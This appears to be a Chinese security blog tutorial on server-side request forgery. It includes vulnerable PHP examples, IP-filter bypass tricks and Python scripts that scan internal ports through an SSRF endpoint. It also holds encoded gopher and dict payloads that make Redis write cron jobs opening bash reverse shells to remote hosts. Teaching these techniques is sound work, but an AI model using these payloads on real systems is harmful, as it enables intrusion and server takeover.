未分类

SSRF

SSRF(Server-SideRequest Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用存在缺陷的web应用作为代理攻击远程和本地的服务器

产生漏洞的函数

很多web应用都提供了从其他服务器获取数据的功能。

使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。

这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

这种形式的攻击称为服务器端请求伪造攻击(ssrf)。

ssrf攻击可能存在任何语言编写的应用,接下来的文章将会介绍php中可能会存在ssrf漏洞的三种函数:file_get_contents,fsockopen(),curl_exec()。

file_get_contents()

这个函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法。

比如:下面的代码执行结果则是输出test.txt文件里面的字符串。
<?phpecho file_get_contents("test.txt");?>

下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
<?phpif(isset($_POST['url'])){$content=file_get_contents($_POST['url']);$filename='./images/'.rand().';img1.jpg';file_put_contents($filename,$content);echo $_POST['url'];$img="<img src=\"".$filename."\"/>";}echo $img;?>

代码分析:isset函数是判断有没有提交url
第一行$content变量将远程URL中的内容保存到content变量中
第二行随机生成一个文件路径
第三行获取了远程的内容后将其写到新的文件中
第四行输出url
第五行将保存的文件名保存到标签中

函数优缺点
优点:在抓取单个文件上,效率很高,返回没有头信息的文件。

缺点:在抓取远程文件时,和fopen一样容易出错。

在抓取多个跨域文件时,未对DNS进行缓存,所以效率上不不高。

fsockopen()

使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。fsockopen本身就是打开一个网络连接或者Unix套接字连接。
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
  echo "$errstr ($errno)<br />\n";
} else {
  $out = "GET / HTTP/1.1\r\n";
  $out .= "Host: $host\r\n";
  $out .= "Connection: Close\r\n\r\n";
  fwrite($fp, $out);
  while (!feof($fp)) {
      echo fgets($fp, 128);
  }
  fclose($fp);
}
?>
图片

函数优缺点

优点:fsockopen 较底层,可以设置基于UDP或是TCP协议去交互。返回完整信息。因为其稳定性,在抓取远程图片时,使用该函数。

缺点:配置麻烦,不易操作。

curl_exec()

该函数可以执行给定的 curl 会话。

<?php
  if(isset($_POST['url']))
  {
      $link = $_POST['url'];
      $curlobj=curl_init();
      curl_setopt($curlobj,CURLOPT_POST,0);
      curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,TRUE);
      curl_setopt($curlobj,CURLOPT_URL,$link);
      $result=curl_exec($curlobj);
      curl_close($curlobj);
      $filename='../images/'.rand().'.jpg';
      file_put_contents($filename,$result);
      $img="<img src=\"".$filename."\"/>";
      echo $img;
  }?>

函数优缺点

优点:经过的包装支持HTTPS认证,HTTP POST方法,HTTP PUT方法,FTP上传, kerberos认证,HTTP上传,代理服务器,cookies,用户名/密码认整下载文件断点续传,上载文件断点续传,http代理服务器管道( proxy tunneling),甚至它还支持IPv6,socks5代理服务器,通过http代理服务器上传文件到FTP服务器等等,功能十分强大。

缺点:配置复杂一些。

ssrf漏洞验证

1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:资源地址类型为 http://www.xxx.com/a.php?image=(地址) 的就可能存在SSRF漏洞

2.dnslog等工具进行测试,看是否被访问:

可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

3.抓包分析发送的请求是不是由服务器的发送的

如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址。

—从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

—通过二级域名暴力猜解工具模糊猜测内网地址

4.直接返回的Banner、title、content等信息

5.留意bool型SSRF
一般的SSRF在应用识别阶段返回的信息相对较多,比如Banner信息,HTTP Title信息,更有甚的会将整个HTTP的Reponse完全返回. 而Bool型SSRF的却永远只有True或者False。

因为没有任何Response信息,所以对于攻击Payload的选择也是有很多限制的, 不能选择需要和Response信息交互的Payload。

利用方式

SSRF漏洞可以判断内网主机存活以及端口开放情况,可以读取服务器文件,攻击内网的web应用。

服务探测

有回显

xxx.xxx?url=http://127.0.0.1:8080

可以借助burp的Intruder尝试探测。

burp intruder爆破出现 Payload set 1: Invalid number settings的解决办法

如果点击start attrack 后出现 Payload set 1: Invalid number settings 的提示,先点hex 后点 decimal 再开始start attrack,这是一个软件bug,需要手动让它刷新。

如果对资产了解不足,可以先对C段进行探测以及一些端口22,80,8080,7001,6379等
但是灵活度不够,可以编写脚本进行探测。

#coding='utf-8'
import requests

scheme = 'http'
port_list = [22,80,3306,3389,6379,8080,8088]

def run():
    for i in range(130,136):
        for port in port_list:
            ip='192.168.197.'+str(i)
            payload = '{scheme}://{ip}:{port}'.format(
                scheme=scheme,
                ip=ip,
                port=port
            )
            url= "http://192.168.197.216/ssrf.php?url={payload}".format(payload=payload)
            print url
            try:
                r = requests.get(url,timeout=5,verify=False)
                print r.text
            except Exception,e:
                pass
if __name__ == '__main__':
    run()

github上也有现成工具。
https://github.com/swisskyrepo/SSRFmap
https://github.com/bcoles/ssrf_proxy
https://github.com/tarunkant/Gopherus

Dict协议

Dict协议,字典服务器器协议,dict是基于查询响应的TCP协议,它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。

dict协议探测端口


查看ssh的banner信息
curl -v 'dict://127.0.0.1:22/info'
查看redis相关配置
curl -v  'dict://127.0.0.1:6379/info'

当端口开放的时候
图片

当端口未开放的时候
图片

gopher协议

gopher协议,分布型的文件搜集获取网络协议,支持发出GET、POST请求。可以先截获get请求包和post请求包,然后再构造成符合gopher协议的请求。gopher协议在ssrf利用中很强大。端口TCP70

gopher:/ip:port/_ + url编码两次
利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

服务器nc进行监听

nc -lvp 2333

靶机发送请求

ssrf.php?url=gopher://172.16.111.98:2333/_hello

探测内网

ssrf最常见的就是探测内网

一个通用脚本,爆破指定的一些端口和IP的D段。

# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
ip = '192.168.0.%d' % i #内网ip地址
for port in ports:
url = 'http://ip/?url=http://%s:%s' %(ip,port)
try:
 res = session.get(url,timeout=3)
 if len(res.text) != 0 :    #这里长度根据实际情况改
  print(ip,port,'is open')
except:
 continue
print('Done')

攻击redis

gopher协议支持GET&POST请求,同时在攻击内网ftp/redis/telnet/Memcache上有非常大的作用,利用gopher协议访问redis反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

使用gopher协议发送数据包与常见post数据包不太一样。gopher发送的数据包需为十六进制。我们可以使用一些抓包工具将请求的数据抓取下来,然后不断拷贝,操作中非常容易出错。所以找到负责转换gopher的payload的工具。

https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream

下载到kali上,make编译即可生成sniffer工具。并在本地kali上搭建redis服务。
输入info命令查看redis服务,并开启sniffer捕捉到的命令即为payload。

gopher协议格式为:gopher:/ip:port/_ + payload

gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a

有回显

将该payload拷贝到burp数据包中,响应500错误。

使用curl进行发送,请求成功。

curl 'gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

证明实际是可以发送成功的。

下面进一步攻击redis服务。

这里依然用简单快捷的shell反弹

config set dir /var/spool/cron/
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/47.94.80.xxx/8080 0>&1\n\n"
config set dbfilename root
save

作将反弹shell的命令生成payload进行发送。sniff捕捉payload。

%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%35%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%78%78%78%0d%0a%24%36%31%0d%0a%0a%0a%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%3e%26%2f%64%65%76%2f%74%63%70%2f%34%37%2e%39%34%2e%38%30%2e%31%32%39%2f%38%30%38%30%20%30%3e%26%31%0a%0a%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

然后使用gopher协议进行构造,并进行url编码。虽然服务器返回500,但可以成功创建任务计划执行。

绕过IP限制

1.利用@符号

ssrf.php?url=http://www.baidu.com@127.0.0.1:80

和访问127.0.0.1效果一样

2.利用短地址
使用在线短链生成器

https://url.cn/5fyRNDC

3.利用特殊域名

http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
http://mysite.10.0.0.1.xip.io 
http://foo.bar.10.0.0.1.xip.io

4.利用进制转换
可以是十六进制,八进制等。
例如192.168.197.134
首先把这四段数字给分别转成16进制,结果:c0 a8 c5 86
然后把 c0a8c586 这十六进制一起转换成8进制30052142606
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0)十六进制加0x

Redis未授权访问漏洞

漏洞原理

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

编辑redis配置文件redis.conf:

image-20210917204302265

前面加上#号,去掉IP绑定,允许除本地外的主机登陆redis服务:

image-20210917202521277

修改protected-mode为no,关闭保护模式,允许远程连接redis服务,protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接:

1632050090_61471baa6881559b8fd3b.png!small?1632050090713

重新启动redis。

image-20210917210109871

Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了

# 清空 key
flushall

# 设置要操作的路径为定时任务目录
config set dir /var/spool/cron/

# 设置定时任务角色为 root
config set dbfilename root

# 设置定时任务内容
set x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n"

# 保存操作
save

SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击

dict://x.x.x.x:6379/<Redis 命令>

dict 协议反弹 Shell

通过 SSRF 直接发起 DICT 请求,可以成功看到 Redis 返回执行完 info 命令后的结果信息,下面开始直接使用 dict 协议来创建定时任务来反弹 Shell:

# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root

# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

# 保存上述操作
dict://172.72.23.27:6379/save

SSRF 传递的时候记得要把 & URL 编码为 %26,上面的操作最好再 BP 下抓包操作,防止浏览器传输的时候被 URL 打乱编码

gopher协议反弹

两台服务器,post数据无法发送到第二台,使用gopher协议完整发送

1.原始数据包构造出来
2.gopher格式

gopher://ip:port/_原始请求数据包url编码两次

抓包,因为要做两个包,发送两个repeater

删除Accept-Encoding: gzip, deflate
如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。

修改Host请求地址,post参数ip,Content-Length,发送两次或者直接修改长度

进行两次url编码

复制后粘贴到另一个repeater构造gopher协议,

waiting

留言

您的邮箱地址不会被公开。 必填项已用 * 标注